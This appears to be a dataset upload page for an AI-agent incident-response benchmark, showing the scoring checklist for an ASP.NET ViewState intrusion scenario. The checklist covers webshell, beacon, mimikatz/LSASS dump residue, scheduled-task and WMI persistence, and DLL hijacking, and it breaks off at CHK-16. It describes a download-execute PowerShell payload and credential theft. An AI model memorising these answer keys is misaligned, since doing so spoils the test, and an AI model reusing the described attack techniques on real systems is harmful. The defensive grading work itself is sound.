Datasets:
Upload 68 files
Browse filesThis view is limited to 50 files because it contains too many changes. See raw diff
- ranges/aspnet-viewstate/checklist.en.md +371 -0
- ranges/aspnet-viewstate/checklist.md +371 -0
- ranges/aspnet-viewstate/disk.tar.gz +3 -0
- ranges/aspnet-viewstate/disk.tar.gz.sha256 +3 -0
- ranges/aspnet-viewstate/sas-mock/alerts.json +26 -0
- ranges/aspnet-viewstate/sas-mock/baselines.json +7 -0
- ranges/aspnet-viewstate/sas-mock/vulns.json +7 -0
- ranges/docker-escape/checklist.en.md +249 -0
- ranges/docker-escape/checklist.md +249 -0
- ranges/docker-escape/disk.tar.gz +3 -0
- ranges/docker-escape/disk.tar.gz.sha256 +3 -0
- ranges/docker-escape/sas-mock/alerts.json +111 -0
- ranges/docker-escape/sas-mock/baselines.json +9 -0
- ranges/docker-escape/sas-mock/vulns.json +6 -0
- ranges/jenkins-rce/checklist.en.md +126 -0
- ranges/jenkins-rce/checklist.md +126 -0
- ranges/jenkins-rce/disk.tar.gz +3 -0
- ranges/jenkins-rce/disk.tar.gz.sha256 +3 -0
- ranges/jenkins-rce/sas-mock/alerts.json +50 -0
- ranges/log4j-rce/checklist.en.md +229 -0
- ranges/log4j-rce/checklist.md +229 -0
- ranges/log4j-rce/disk.tar.gz +3 -0
- ranges/log4j-rce/disk.tar.gz.sha256 +3 -0
- ranges/log4j-rce/sas-mock/alerts.json +77 -0
- ranges/log4j-rce/sas-mock/baselines.json +44 -0
- ranges/log4j-rce/sas-mock/vulns.json +26 -0
- ranges/nextjs-rce/checklist.en.md +319 -0
- ranges/nextjs-rce/checklist.md +319 -0
- ranges/nextjs-rce/disk.tar.gz +3 -0
- ranges/nextjs-rce/disk.tar.gz.sha256 +3 -0
- ranges/nextjs-rce/sas-mock/alerts.json +117 -0
- ranges/nextjs-rce/sas-mock/baselines.json +75 -0
- ranges/nextjs-rce/sas-mock/vulns.json +19 -0
- ranges/npm-worm/checklist.en.md +388 -0
- ranges/npm-worm/checklist.md +388 -0
- ranges/npm-worm/disk.tar.gz +3 -0
- ranges/npm-worm/disk.tar.gz.sha256 +3 -0
- ranges/npm-worm/sas-mock/alerts.json +236 -0
- ranges/npm-worm/sas-mock/baselines.json +122 -0
- ranges/npm-worm/sas-mock/vulns.json +1 -0
- ranges/rdp-service-abuse/checklist.en.md +129 -0
- ranges/rdp-service-abuse/checklist.md +129 -0
- ranges/rdp-service-abuse/disk.tar.gz +3 -0
- ranges/rdp-service-abuse/disk.tar.gz.sha256 +3 -0
- ranges/rdp-service-abuse/sas-mock/alerts.json +0 -0
- ranges/rdp-service-abuse/sas-mock/baselines.json +11 -0
- ranges/rdp-service-abuse/sas-mock/vulns.json +14 -0
- ranges/redis-rce/checklist.en.md +250 -0
- ranges/redis-rce/checklist.md +250 -0
- ranges/redis-rce/disk.tar.gz +3 -0
ranges/aspnet-viewstate/checklist.en.md
ADDED
|
@@ -0,0 +1,371 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# range-aspnet-viewstate Checklist
|
| 2 |
+
|
| 3 |
+
## Scoring dimensions
|
| 4 |
+
|
| 5 |
+
Each atomic CHK has three dimensions:
|
| 6 |
+
|
| 7 |
+
- **Detection score** (max 3 pts): Discovery (1) + Evidence (1) + Attribution (1) — judges the detection Agent's report, LLM-as-a-Judge
|
| 8 |
+
- **Plan score** (max 2 pts): Correctness (1) + Completeness (1) — judges the remediation recommendations in the tested agent's output, LLM-as-a-Judge
|
| 9 |
+
- **detection-only**: Plan score marked N/A, not counted in the aggregate
|
| 10 |
+
|
| 11 |
+
### Cross-CHK common addendum (plan completeness)
|
| 12 |
+
|
| 13 |
+
To avoid "business impact" becoming a duplicate scoring item in a separate CHK, all hardening-type CHKs involving critical services (IIS / SQL Express / DefaultAppPool) **include by default** in the minimum requirement of their "plan completeness" sub-item:
|
| 14 |
+
> The plan must include status/syntax validation of the service changed in this operation (e.g. `iisreset /status`, `sqlcmd -Q "SELECT @@VERSION"`), and note possible side effects on other services.
|
| 15 |
+
|
| 16 |
+
If the plan lacks this item, the corresponding CHK's "completeness" scores 0.
|
| 17 |
+
|
| 18 |
+
---
|
| 19 |
+
|
| 20 |
+
## Atomic CHK list
|
| 21 |
+
|
| 22 |
+
### Dimension 1: Intrusion entity identification and disposal
|
| 23 |
+
|
| 24 |
+
#### CHK-01: Webshell help.aspx detection/removal — `help.aspx` `ENT-F01`
|
| 25 |
+
|
| 26 |
+
- **Evidence**: `C:\inetpub\wwwroot\CRM\help.aspx` exists (one-liner ASPX Webshell, can directly execute arbitrary code under w3wp.exe)
|
| 27 |
+
- **Detection score** (3 pts)
|
| 28 |
+
- Discovery: Identifies an unexpected `help.aspx` file under the CRM site directory
|
| 29 |
+
- Evidence: References the file path `C:\inetpub\wwwroot\CRM\help.aspx`; analyzes the file content as an ASPX Webshell (containing characteristic keywords such as `Request`/`Response`/`Eval`); or enumerates the CRM directory via `target-query <device> -f filesystem` to find the anomalous file
|
| 30 |
+
- Attribution: Associates the Webshell with the attacker's persistent access channel after landing via ViewState RCE; notes that w3wp.exe running under LocalSystem privileges can directly execute system-level commands
|
| 31 |
+
- **Plan score** (2 pts)
|
| 32 |
+
- Correctness: The plan provides the deletion command `Remove-Item -Force "C:\inetpub\wwwroot\CRM\help.aspx"`
|
| 33 |
+
- Completeness: The plan includes post-deletion IIS log auditing (checking historical records of access to help.aspx) + scanning the site directory for other anomalous `.aspx` files (`Get-ChildItem -Recurse -Filter *.aspx | Get-FileHash` compared against the expected inventory) + verifying the file no longer exists
|
| 34 |
+
|
| 35 |
+
---
|
| 36 |
+
|
| 37 |
+
#### CHK-02: Beacon binary removal — `WindowsAuditSvc.exe` `ENT-F06`
|
| 38 |
+
|
| 39 |
+
- **Evidence**: `C:\ProgramData\WindowsAudit\WindowsAuditSvc.exe` exists (a C2 Beacon binary landed by the attacker, disguised as a Windows audit service; the same directory contains `last-beacon.log` recording C2 callback attempts)
|
| 40 |
+
- **Detection score** (3 pts)
|
| 41 |
+
- Discovery: Identifies `C:\ProgramData\WindowsAudit\WindowsAuditSvc.exe` and the log file in the same directory
|
| 42 |
+
- Evidence: References the file path; discovers the `C:\ProgramData\WindowsAudit\` directory and its contents (`WindowsAuditSvc.exe` + `last-beacon.log`) via `target-query <device> -f filesystem`; references the callback records in `last-beacon.log` containing the C2 domain `malicious-update.example.cn`; combined with the SAS alert (`MaliciousProcess`) determines the binary to be a Beacon
|
| 43 |
+
- Attribution: Associates with C2 communication (`malicious-update.example.cn:8443`); disguising as a "WindowsAudit" service name is a common APT masquerading technique (naming close to system audit tools to lower suspicion)
|
| 44 |
+
- **Plan score** (2 pts)
|
| 45 |
+
- Correctness: The plan stops the process first then deletes the file: `Stop-Process -Name WindowsAuditSvc -Force -ErrorAction SilentlyContinue`; then `Remove-Item -Recurse -Force "C:\ProgramData\WindowsAudit\"`
|
| 46 |
+
- Completeness: The plan includes scanning other common C2 landing locations (`C:\ProgramData\`, `C:\Windows\Temp\`, `C:\Users\Public\`) + checking for service registration (`Get-Service | Where-Object { $_.PathName -like '*WindowsAudit*' }`) + confirming the directory has been removed
|
| 47 |
+
|
| 48 |
+
---
|
| 49 |
+
|
| 50 |
+
#### CHK-03: Beacon process termination — `WindowsAuditSvc.exe` `ENT-P02` `ENT-P03`
|
| 51 |
+
|
| 52 |
+
- **Evidence**: The SAS alert records that `WindowsAuditSvc.exe` once ran as a process and attempted to connect out to C2 (`malicious-update.example.cn:8443`); `last-beacon.log` contains callback records; the process may no longer be running due to a reboot at forensics time, but the binary is still on disk and there is a risk of restart (schtasks / WMI persistence can relaunch it)
|
| 53 |
+
- **Detection score** (3 pts)
|
| 54 |
+
- Discovery: Identifies that `WindowsAuditSvc.exe` once ran or is still running
|
| 55 |
+
- Evidence: References the SAS alert (`MaliciousProcess` type) and the C2 callback records in `last-beacon.log`; if the process is still active, references the PID and network connections; performs forensics via `target-query -f processes` or confirms prior execution through offline analysis of Prefetch files
|
| 56 |
+
- Attribution: Associates the process with the C2 Beacon; explains that the process can be periodically relaunched in concert with schtasks/WMI persistence mechanisms
|
| 57 |
+
- **Plan score** (2 pts)
|
| 58 |
+
- Correctness: `Stop-Process -Name WindowsAuditSvc -Force` (or `taskkill /F /IM WindowsAuditSvc.exe`)
|
| 59 |
+
- Completeness: The plan includes a sequence explanation of blocking the outbound connection first (CHK-07 firewall rule) before killing the process + verifying the process no longer exists + checking for a parent process or watchdog mechanism that restarts it
|
| 60 |
+
|
| 61 |
+
---
|
| 62 |
+
|
| 63 |
+
#### CHK-04: mimikatz residue removal — `mimikatz.exe` `ENT-F06`
|
| 64 |
+
- **Evidence**: `C:\Windows\Temp\mimikatz.exe` (residue of the credential-theft tool landed by the attacker)
|
| 65 |
+
- **Detection score** (3 pts)
|
| 66 |
+
- Discovery: Identifies `C:\Windows\Temp\mimikatz.exe`
|
| 67 |
+
- Evidence: References the file path; the filename `mimikatz.exe` is a known credential-theft tool signature name; found by enumerating `C:\Windows\Temp\` via `target-query <device> -f filesystem`
|
| 68 |
+
- Attribution: Associates mimikatz.exe with the attacker's credential-theft behavior before lateral movement; combined with `lsass.dmp` and `creds.txt` (CHK-05) forms a complete credential-theft chain
|
| 69 |
+
- **Plan score** (2 pts)
|
| 70 |
+
- Correctness: `Remove-Item -Force "C:\Windows\Temp\mimikatz.exe"`
|
| 71 |
+
- Completeness: The plan includes scanning the entire disk for mimikatz copies (`Get-ChildItem -Recurse -Filter mimikatz* -ErrorAction SilentlyContinue`) + concurrently handling the associated residue of CHK-05 (procdump / lsass.dmp / creds.txt)
|
| 72 |
+
|
| 73 |
+
---
|
| 74 |
+
|
| 75 |
+
#### CHK-05: Credential-dump residue (lsass) — `procdump.exe + lsass.dmp + creds.txt` `ENT-F04`
|
| 76 |
+
|
| 77 |
+
- **Evidence**: `C:\Windows\Temp\procdump.exe` (the LSASS dump tool landed by the attacker), `C:\Windows\Temp\lsass.dmp` (~30MB, LSASS memory dump, file header `MDMP`), `C:\Windows\Temp\creds.txt` (plaintext passwords parsed by mimikatz)
|
| 78 |
+
- **Detection score** (3 pts)
|
| 79 |
+
- Discovery: Identifies that all three of the above files exist
|
| 80 |
+
- Evidence: References each file path; `lsass.dmp` is identified as an LSASS process memory dump by the file header `MDMP` or file size; `creds.txt` contains plaintext passwords (must warn that the content is highly sensitive); found by enumerating `C:\Windows\Temp\` via `target-query <device> -f filesystem`
|
| 81 |
+
- Attribution: Combines the three to reconstruct the credential-theft attack chain (procdump dumps lsass → mimikatz parses → creds.txt stores); explains that the attacker can use the plaintext credentials for lateral movement
|
| 82 |
+
- **Plan score** (2 pts)
|
| 83 |
+
- Correctness: Batch deletion: `Remove-Item -Force "C:\Windows\Temp\procdump.exe","C:\Windows\Temp\lsass.dmp","C:\Windows\Temp\creds.txt"`
|
| 84 |
+
- Completeness: The plan includes forensic preservation before deletion (at minimum preserving the content of creds.txt to determine the scope of credentials to rotate) + scanning other Temp/Public directories for copies + verifying all three files no longer exist after deletion + noting that all passwords appearing in creds.txt must be rotated immediately (cascading to CHK-21/CHK-22)
|
| 85 |
+
|
| 86 |
+
---
|
| 87 |
+
|
| 88 |
+
#### CHK-06: Attacker-IP inbound block — `8.217.135.152` `ENT-N01`
|
| 89 |
+
|
| 90 |
+
- **Evidence**: Attacker source IP `8.217.135.152` (visible in IIS access logs / firewall logs, the source of the initial HTTP GET `/CRM/web.config.bak` and POST `/CRM/Login.aspx`)
|
| 91 |
+
- **Detection score** (3 pts)
|
| 92 |
+
- Discovery: Recommends blocking the attacker IP `8.217.135.152`
|
| 93 |
+
- Evidence: References that IP's access records in the IIS logs (`C:\inetpub\logs\LogFiles\W3SVC1\`); identifies GET `/CRM/web.config.bak` returning 200 and the POST `/CRM/Login.aspx` ViewState payload request
|
| 94 |
+
- Attribution: Determines the IP to be the source of the attacker's intrusion; associates it with the subsequent C2 domain `malicious-update.example.cn` resolving to the same IP
|
| 95 |
+
- **Plan score** (2 pts)
|
| 96 |
+
- Correctness: Windows firewall all-protocol block: `New-NetFirewallRule -DisplayName "Block_AttackerIP" -Direction Inbound -RemoteAddress 8.217.135.152 -Action Block`
|
| 97 |
+
- Completeness: Includes blocking the Outbound direction as well (`-Direction Outbound`) + verifying the rule takes effect (`Get-NetFirewallRule -DisplayName "Block_AttackerIP"`) + rule persistence is persistent by default (Windows firewall rules survive reboots) + noting that any security group/cloud firewall should be configured in sync
|
| 98 |
+
|
| 99 |
+
---
|
| 100 |
+
|
| 101 |
+
#### CHK-07: C2 outbound block — C2 endpoint `ENT-N02` `ENT-N03`
|
| 102 |
+
|
| 103 |
+
- **Evidence**: C2 endpoint `malicious-update.example.cn` → `8.217.135.152:8443` (Beacon heartbeat target)
|
| 104 |
+
- **Detection score** (3 pts)
|
| 105 |
+
- Discovery: Identifies the C2 domain `malicious-update.example.cn` and IP `8.217.135.152` that need outbound blocking
|
| 106 |
+
- Evidence: References the C2 address in the Beacon configuration (by decompiling `WindowsAuditSvc.exe` or the C2 communication records in the SAS alert); references the port `8443` (HTTPS over a non-standard port, a signature of bypassing simple firewall policies)
|
| 107 |
+
- Attribution: Explains that the domain/IP combination is the Beacon's sole callback exit; even if the Beacon process is terminated, blocking outbound prevents redeployment
|
| 108 |
+
- **Plan score** (2 pts)
|
| 109 |
+
- Correctness: Double blocking: outbound IP rule `New-NetFirewallRule -DisplayName "Block_C2_IP_Out" -Direction Outbound -RemoteAddress 8.217.135.152 -Action Block`; outbound port rule `New-NetFirewallRule -DisplayName "Block_C2_8443_Out" -Direction Outbound -Protocol TCP -RemotePort 8443 -Action Block`; DNS-layer blocking (modifying the hosts file `Add-Content C:\Windows\System32\drivers\etc\hosts "0.0.0.0 malicious-update.example.cn"`)
|
| 110 |
+
- Completeness: Includes an explanation of three-layer blocking (IP + port + DNS) + verifying each rule takes effect + explaining the limitation of the hosts-file modification for non-DNS-resolution paths (hardcoded-IP scenarios)
|
| 111 |
+
|
| 112 |
+
---
|
| 113 |
+
|
| 114 |
+
#### CHK-08: version.dll hijack file — `version.dll` `ENT-F06` `PER-H02`
|
| 115 |
+
|
| 116 |
+
- **Evidence**: `C:\Program Files\Notepad++\version.dll` (the DLL search-order hijack carrier planted by the attacker; a copy of the system `version.dll`, the signature is still valid but it appears in an unexpected location, and its creation time matches the attack window)
|
| 117 |
+
- **Detection score** (3 pts)
|
| 118 |
+
- Discovery: Identifies that `C:\Program Files\Notepad++\version.dll` exists and does not belong to a normal Notepad++ installation
|
| 119 |
+
- Evidence: Discovers the unexpected DLL by enumerating the Notepad++ directory via `target-query <device> -f filesystem`; the DLL has the same hash as `C:\Windows\System32\version.dll` (the attacker copies the system DLL as a carrier; in a real scenario it would be replaced with a forwarding DLL containing a malicious DllMain); the file creation time falls within the attack window
|
| 120 |
+
- Attribution: Identifies the DLL search-order hijack technique (T1574.001 — on Notepad++ startup, the version.dll in its own directory is loaded preferentially); explains that this technique is common in APTs, triggering on every Notepad++ startup once planted
|
| 121 |
+
- **Plan score** (2 pts)
|
| 122 |
+
- Correctness: `Remove-Item -Force "C:\Program Files\Notepad++\version.dll"`
|
| 123 |
+
- Completeness: The plan includes post-deletion verification that no residual unexpected DLL remains in the Notepad++ directory + scanning other application directories (`Program Files\`, `Program Files (x86)\`) for similar plants
|
| 124 |
+
|
| 125 |
+
---
|
| 126 |
+
|
| 127 |
+
### Dimension 2: Persistence cleanup
|
| 128 |
+
|
| 129 |
+
#### CHK-09: schtasks task location — `AuditTask` `PER-S04`
|
| 130 |
+
|
| 131 |
+
- **Evidence**: The scheduled task `\Microsoft\Windows\Maintenance\AuditTask` exists (XML file `C:\Windows\System32\Tasks\Microsoft\Windows\Maintenance\AuditTask`, Trigger daily at 10:23, Author: SYSTEM)
|
| 132 |
+
- **Detection score** (3 pts)
|
| 133 |
+
- Discovery: Identifies the suspicious scheduled task `\Microsoft\Windows\Maintenance\AuditTask`
|
| 134 |
+
- Evidence: Enumerates scheduled tasks via `target-query <device> -f tasks` to obtain the complete XML; references key Task fields: `<Author>SYSTEM</Author>`, Trigger (daily at 10:23), Action (`powershell.exe -ep bypass -enc <base64>`); or on a live system uses `Get-ScheduledTask -TaskPath "\Microsoft\Windows\Maintenance\" -TaskName "AuditTask"`
|
| 135 |
+
- Attribution: Determines the Task to be a persistence mechanism; notes that the path `\Microsoft\Windows\Maintenance\` is a system-task masquerading path commonly used by attackers; the SYSTEM identity + `-ep bypass -enc` parameter combination is a strong malicious signal
|
| 136 |
+
- **Plan score** (2 pts)
|
| 137 |
+
- Correctness: The plan directs to CHK-10 to decode and confirm the payload content first, then delete via CHK-11; the standalone location step only needs to confirm the task exists
|
| 138 |
+
- Completeness: The plan recommends enumerating all scheduled tasks with non-standard paths (`Get-ScheduledTask | Where-Object { $_.TaskPath -notlike "\Microsoft\Windows\*" -or $_.Principal.UserId -eq "SYSTEM" }`) to cover similar plants
|
| 139 |
+
|
| 140 |
+
---
|
| 141 |
+
|
| 142 |
+
#### CHK-10: schtasks payload decoding `PER-S04`
|
| 143 |
+
|
| 144 |
+
- **Evidence**: The base64 in `powershell.exe -ep bypass -enc <base64>` within the AuditTask Action decodes to a download command that pulls stage3
|
| 145 |
+
- **Detection score** (3 pts)
|
| 146 |
+
- Discovery: Identifies the base64-encoded payload in the Action and performs decoding analysis
|
| 147 |
+
- Evidence: References the base64 string (extracted from the `<Arguments>` field of the Task XML); provides the decoding result (the PowerShell command decoded by `[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("<b64>"))`); the decoding result shows a download-execute command (in a form such as IEX (New-Object Net.WebClient).DownloadString)
|
| 148 |
+
- Attribution: Associates the encoded payload with the stage3 C2 pull behavior; notes that `-ep bypass` bypassing the execution policy is a hallmark technique of malicious PowerShell
|
| 149 |
+
- **Plan score** (2 pts)
|
| 150 |
+
- Correctness: The decoding analysis itself is the core of the plan; directs to CHK-11 to delete the task
|
| 151 |
+
- Completeness: The plan recommends reporting the decoding result to the SOC (including URL, C2 address, and other IOCs); confirms the decoding process uses UTF-16LE decoding (PowerShell `-enc` defaults to UTF-16LE)
|
| 152 |
+
|
| 153 |
+
---
|
| 154 |
+
|
| 155 |
+
#### CHK-11: schtasks deletion `PER-S04`
|
| 156 |
+
|
| 157 |
+
- **Evidence**: AuditTask has been located (CHK-09), the payload has been decoded (CHK-10); this item is the actual deletion
|
| 158 |
+
- **Detection score** (3 pts)
|
| 159 |
+
- Discovery: Confirms the task still exists before performing the deletion
|
| 160 |
+
- Evidence: `Get-ScheduledTask -TaskPath "\Microsoft\Windows\Maintenance\" -TaskName "AuditTask"` returns a valid object
|
| 161 |
+
- Attribution: (continues the CHK-09 attribution; this item focuses on execution)
|
| 162 |
+
- **Plan score** (2 pts)
|
| 163 |
+
- Correctness: `Unregister-ScheduledTask -TaskPath "\Microsoft\Windows\Maintenance\" -TaskName "AuditTask" -Confirm:$false`
|
| 164 |
+
- Completeness: Includes post-deletion verification (the task no longer appears) + noting to back up the XML file to the forensic archive before deletion + scanning for other tasks with the same payload hash (guarding against backup persistence)
|
| 165 |
+
|
| 166 |
+
---
|
| 167 |
+
|
| 168 |
+
#### CHK-12: WMI subscription location — `AuditMonitor` / `AuditAction` `PER-E02`
|
| 169 |
+
|
| 170 |
+
- **Evidence**: The WMI `root\subscription` namespace contains: an `__EventFilter` named `AuditMonitor` (triggered by `Win32_LocalTime Hour=10 AND Minute=23`), an `ActiveScriptEventConsumer` named `AuditAction` (ScriptText contains VBScript that appends a timestamp to a log file), and a `__FilterToConsumerBinding` binding the two
|
| 171 |
+
- **Detection score** (3 pts)
|
| 172 |
+
- Discovery: Identifies all 3 constituent objects of the WMI permanent event subscription
|
| 173 |
+
- Evidence: Offline-parses `C:\Windows\System32\wbem\Repository\OBJECTS.DATA` on the block device via python-cim:
|
| 174 |
+
```python
|
| 175 |
+
from cim import CIM
|
| 176 |
+
c = CIM('/mnt/.../Repository')
|
| 177 |
+
for obj in c.query("SELECT * FROM __FilterToConsumerBinding"):
|
| 178 |
+
print(obj)
|
| 179 |
+
```
|
| 180 |
+
or on a live system uses `Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding`; references Filter.Name = `AuditMonitor`, Consumer.Name = `AuditAction`
|
| 181 |
+
- Attribution: WMI permanent subscription is a fileless persistence technique commonly used by Windows APTs; the `Win32_LocalTime` time-condition trigger is extremely rare in legitimate management tools and is a high-confidence malicious signal
|
| 182 |
+
- **Plan score** (2 pts)
|
| 183 |
+
- Correctness: The plan explicitly states that 3 objects (Filter + Consumer + Binding) must be deleted; directs to CHK-14
|
| 184 |
+
- Completeness: The plan recommends enumerating all non-system WMI subscriptions (`Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding`) to confirm no other malicious subscriptions
|
| 185 |
+
|
| 186 |
+
---
|
| 187 |
+
|
| 188 |
+
#### CHK-13: WMI ScriptText analysis `PER-E02`
|
| 189 |
+
|
| 190 |
+
- **Evidence**: The `ScriptText` field of `ActiveScriptEventConsumer "AuditAction"` contains VBScript code (appending a timestamp to `C:\ProgramData\WindowsAudit\wmi-fired.log` — forming dual-path persistence together with the schtasks AuditTask, functionally equivalent but implemented in a different language)
|
| 191 |
+
- **Detection score** (3 pts)
|
| 192 |
+
- Discovery: Identifies that the ScriptText field contains an executable payload
|
| 193 |
+
- Evidence: Extracts the `ScriptText` field from the `AuditAction` Consumer object; analyzes the VBScript content — `CreateObject("Scripting.FileSystemObject")` writes a log to the `WindowsAudit` directory (the same as the Beacon landing directory)
|
| 194 |
+
- Attribution: Compares with the schtasks payload of CHK-10, noting that the attacker deployed dual-path persistence (schtasks + WMI), both writing to the same `WindowsAudit` directory, indicating that the defense must clear both paths simultaneously
|
| 195 |
+
- **Plan score** (2 pts)
|
| 196 |
+
- Correctness: Analyzes the VBScript content, confirming that the log path is consistent with the C2 infrastructure directory
|
| 197 |
+
- Completeness: Associates the file path in the VBScript with the CHK-02 Beacon directory `C:\ProgramData\WindowsAudit\`
|
| 198 |
+
|
| 199 |
+
---
|
| 200 |
+
|
| 201 |
+
#### CHK-14: WMI objects full cleanup `PER-E02`
|
| 202 |
+
|
| 203 |
+
- **Evidence**: The Filter `AuditMonitor`, Consumer `AuditAction`, and Binding under WMI `root\subscription` have been located (CHK-12) and all need to be deleted
|
| 204 |
+
- **Detection score** (3 pts)
|
| 205 |
+
- Discovery: Confirms all 3 objects exist before deletion (guarding against false negatives and incomplete removal)
|
| 206 |
+
- Evidence: `Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding | Where-Object { $_.Filter -like '*AuditMonitor*' }` returns non-empty
|
| 207 |
+
- Attribution: (continues the CHK-12 attribution)
|
| 208 |
+
- **Plan score** (2 pts)
|
| 209 |
+
- Correctness: Deletes the 3 objects in order (delete the Binding first, then the Filter and Consumer, to prevent orphaned objects from triggering):
|
| 210 |
+
```powershell
|
| 211 |
+
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding |
|
| 212 |
+
Where-Object { $_.Filter -like '*AuditMonitor*' } | Remove-WmiObject
|
| 213 |
+
Get-WmiObject -Namespace root\subscription -Class __EventFilter |
|
| 214 |
+
Where-Object Name -eq 'AuditMonitor' | Remove-WmiObject
|
| 215 |
+
Get-WmiObject -Namespace root\subscription -Class ActiveScriptEventConsumer |
|
| 216 |
+
Where-Object Name -eq 'AuditAction' | Remove-WmiObject
|
| 217 |
+
```
|
| 218 |
+
- Completeness: Includes post-deletion verification (all three Get-WmiObject return empty) + noting that the `winmgmt` service may need to be restarted to clear the in-memory cache + recommending manual review with the `WMI Explorer` tool
|
| 219 |
+
|
| 220 |
+
---
|
| 221 |
+
|
| 222 |
+
#### CHK-15: DLL-hijack detection `PER-H02`
|
| 223 |
+
|
| 224 |
+
- **Evidence**: `C:\Program Files\Notepad++\version.dll` does not belong to a normal Notepad++ installation; the DLL has the same hash as `C:\Windows\System32\version.dll` (the attacker copied the system DLL as a carrier), and its creation time matches the attack window
|
| 225 |
+
- **Detection score** (3 pts)
|
| 226 |
+
- Discovery: Identifies an unexpected `version.dll` under the Notepad++ directory
|
| 227 |
+
- Evidence: Discovers the DLL by enumerating the Notepad++ directory via `target-query <device> -f filesystem`; note that the DLL has the same hash as the same-named DLL in System32 — the attacker uses a system DLL copy as a placeholder in this range (in a real APT scenario it would be replaced with a forwarding DLL containing a malicious DllMain); the file metadata (creation/modification time) falls within the attack time window
|
| 228 |
+
- Attribution: DLL search-order hijack (T1574.001 side-loading) — in the Windows DLL search order, the application's own directory takes precedence over System32, so on Notepad++ startup the version.dll in its own directory is loaded preferentially
|
| 229 |
+
- **Plan score** (2 pts)
|
| 230 |
+
- Correctness: Delete `C:\Program Files\Notepad++\version.dll` (directs to the CHK-08 execution layer)
|
| 231 |
+
- Completeness: The plan includes scanning other application directories (`Program Files\`, `Program Files (x86)\`) for similar unexpected DLL plants
|
| 232 |
+
|
| 233 |
+
---
|
| 234 |
+
|
| 235 |
+
#### CHK-16: MSSQL trigger/xp_cmdshell detection `PER-D02`
|
| 236 |
+
|
| 237 |
+
